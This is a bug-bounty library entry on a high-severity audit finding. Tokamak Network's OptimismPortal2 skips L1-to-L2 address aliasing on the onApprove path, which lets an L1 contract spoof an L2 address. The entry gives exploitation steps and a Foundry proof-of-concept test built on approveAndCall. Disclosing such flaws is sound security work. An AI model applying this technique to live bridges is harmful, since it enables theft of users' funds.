# L1 contract can evade aliasing, spoofing unowned L2 address

Optimism Portal2 skips L1-to-L2 address aliasing when deposits arrive via onApprove(), letting an L1 contract spoof an unowned L2 address and act as it.

- Payout: Audit contest
- Severity: high
- Program: Tokamak Network
- Found by: 0x416
- Disclosed: 2024-08-30
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-08-tokamak-network-judging/issues/39
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-tokamak-network%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:auth-bypass

**Target:** OptimismPortal2.depositTransaction / L2NativeToken.approveAndCall
**Root cause:** depositTransaction only aliases the sender when `_sender != tx.origin && !_isOnApproveTrigger`; the onApprove path sets `_isOnApproveTrigger=true`, so the L1 contract address is used unaliased as the L2 message sender.
**Steps:**
1. Deploy an L1 contract (e.g. a Safe) whose address is not owned by the same party on L2.
2. Craft L2 calldata, e.g. `transfer(address(1),100e18)` on an L2 ERC20.
3. Encode onApproveData as `abi.encodePacked(to, value, gasLimit, message)`.
4. Call `token.approveAndCall(address(portal), 1, onApproveData)` on the L1 Native Token.
5. Observe `TransactionDeposited(from, to, 0, ...)` where `from` is the unaliased L1 contract address.
**How found:** Code review of the aliasing condition in depositTransaction; noticed the `!_isOnApproveTrigger` exception and reasoned that any contract can reach the onApprove path, defeating the aliasing invariant.
**Exploitation:** An L1 contract calls approveAndCall on the Native Token, routing through OptimismPortal2.onApprove() which sets `_isOnApproveTrigger=true`; depositTransaction then uses the raw L1 contract address as the L2 sender, so the L2 message executes as that address and can call transfer() to drain tokens owned by the L2 contract.
**Insight:** When a security invariant (address aliasing) is enforced by a boolean flag, check every code path that can set that flag — here a user-reachable token callback (approveAndCall) flips it, so the invariant is bypassable by any contract.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test evading aliasing via approveAndCall**

```
function testZach_noAlias() public {
        // we are sending from a safe, which isn't owned on L2
        address from = address(new MaliciousSafe());
        vm.startPrank(from);
        token.faucet(1);

        // let's make some transaction data
        // for example, transfer our addresses USDC on L2 to another address
        address to = makeAddr("L2USDC");
        uint value = 0;
        uint32 gasLimit = 1_000_000;
        bytes memory message = abi.encodeWithSignature("transfer(address,uint256)", address(1), 100e18);
        bytes memory onApproveData = abi.encodePacked(to, value, gasLimit, message);

        // confirm that the deposit transaction is:
        // from: from (non aliased)
        // to: L2USDC
        vm.expectEmit(true, true, false, false);
        emit TransactionDeposited(from, to, 0, bytes(""));

        // now we use approve and call to send the deposit transaction
        token.approveAndCall(address(portal), 1, onApproveData);
    }
```

